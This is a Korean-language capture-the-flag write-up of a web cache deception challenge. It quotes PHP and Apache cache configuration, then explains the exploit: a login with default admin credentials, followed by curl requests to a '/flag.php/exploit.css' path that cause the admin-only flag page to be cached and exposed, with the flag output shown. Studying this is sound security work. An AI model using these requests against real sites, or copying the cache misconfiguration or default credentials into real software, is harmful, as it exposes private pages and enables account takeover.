TL;DR
Web Cache Deception
Analysis
php
common.php
<?phpsession_start();
function envv($key, $default = null) { $v = getenv($key); return ($v === false || $v === '') ? $default : $v;}
define('ADMIN_USER', envv('ADMIN_USER', 'admin'));define('ADMIN_PASS', envv('ADMIN_PASS', 'adminpass'));define('FLAG', envv('FLAG', 'FLAG{web_cache_deception_ato}'));
function storage_posts_path() { return __DIR__ . '/../storage/posts.json'; }function storage_users_path() { return __DIR__ . '/../storage/users.json'; }
..
function is_admin() { $u = current_user(); if (!$u) return false; return isset($u['username']) && hash_equals($u['username'], ADMIN_USER);}
function require_login() { if (!is_logged_in()) { header('Location: /login.php'); exit; }}ADMIN_USER, ADMIN_PASS가 환경 변수에서 로드되고, 기본 값은 admin, adminpass
is_admin() 함수는 현재 로그인한 사용자의 username이 ADMIN_USER와 일치하는지 확인
index.php
... <header> <h1>Admin QA</h1> <nav> <?php if (is_logged_in()): ?> <a href="/account.php">My Account</a> <?php if (is_admin()): ?> <a href="/flag.php">Flag</a> <?php endif; ?> <a href="/logout.php">Logout</a> <?php else: ?> <a href="/login.php">Login</a> · <a href="/register.php">Register</a> <?php endif; ?> </nav> </header>...관리자인 경우 /flag.php로 이동 가능.
- admin/api.php
- 관리자만 접근 할 수 있으며 게시물을 읽음/안 읽음으로 표시하거나 다음 안 읽은 게시물 가져오는 기능
- login.php
- username, password가 ADMIN_USER, ADMIN_PASS와 직접 일치하는 경우 로그인 처리
- 일반 사용자는 users.json에 저장된 해시된 비밀번호를 통해 인증
- register.php
- ADMIN_USER와 동일한 이름으로 등록 X
- flag.php
- 로그인 되어있고 관리자 권한이 있는 경우에만 플래그 표시
- header(‘Cache-Control: private, no-store, no-cache, must-revalidate’); 헤더 명시적 설정으로 캐싱 방지
settings
<VirtualHost *:80> ... <Directory /var/www/html> AllowOverride All Require all granted Options -Indexes AcceptPathInfo On # 중요: PathInfo 허용 </Directory>
CacheQuickHandler On CacheEnable disk / CacheHeader on CacheDefaultExpire 600 CacheMaxExpire 3600 CacheIgnoreQueryString Off CacheStorePrivate On # 중요: private 캐시 저장 허용 ...</VirtualHost>AcceptPathInfo On: /flag.php/exploit.css와 같은 URL에서 /exploit.css 부분을 flag.php가 무시하고 처리 CacheEnable disk /: 디스크 캐싱을 활성화 CacheStorePrivate On: Cache-Control: private 헤더가 있는 응답도 캐시하도록 설정합니다. 이는 flag.php에서 명시적으로 캐싱을 막으려 했음에도 불구하고, Apache 설정에 의해 캐시될 수 있음을 의미
WCD 공격이다.
Exploit
- 관리자 로그인: admin 계정(admin/adminpass)으로 웹 애플리케이션에 로그인
- 악성 URL 요청: 관리자 세션에서 flag.php의 내용을 캐시하도록 유도하는 URL을 요청
- AcceptPathInfo On 설정 덕분에 Apache는 /flag.php/exploit.css 요청을 flag.php로 라우팅하고 처리
- flag.php는 관리자 권한을 확인하고 플래그를 포함한 HTML 응답을 생성
- Apache 캐싱 모듈은 .css 확장자를 보고 이 요청을 정적 CSS 파일처럼 캐시할 수 있다. CacheStorePrivate On 설정으로 인해 Cache-Control: private 헤더가 있더라도 캐시된다.
- 캐시된 응답 탈취: 관리자가 로그아웃하거나 다른 비관리자 사용자가 동일한 URL (http://3.39.86.84:4000/flag.php/exploit.css)을 요청
- 캐싱 서버는 이미 해당 URL에 대한 캐시된 응답을 가지고 있으므로, flag.php를 다시 실행하지 않고 캐시된 응답을 반환합니다.
- 이 캐시된 응답에는 관리자만 볼 수 있었던 플래그가 포함되어 있습니다.
- 관리자 로그인
curl -X POST -d "username=admin&password=adminpass" http://3.39.86.84:4000/login.php -c admin_cookie.txt -b admin_cookie.txt- 악성 URL 요청 (관리자 세션)
curl http://3.39.86.84:4000/flag.php/exploit.css -b admin_cookie.txt<!doctype html><html><head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>Flag — Admin QA</title> <style> body { font-family: system-ui, -apple-system, Segoe UI, Roboto, Helvetica, Arial, sans-serif; margin: 2rem auto; max-width: 860px; padding: 0 1rem; } .info { border:1px solid #ddd; padding:1rem; border-radius:6px; } code { background:#f5f5f5; padding:.1rem .25rem; border-radius:3px; } </style></head><body> <header> <a href="/">← Home</a> </header> <h1>Flag</h1> <div class="info"> <strong>FLAG:</strong> <code>hspace{c98de32177d8a37212b16915da31b1944082bd59465d14a67166b3229db0f5d5}</code> </div>
</body></html>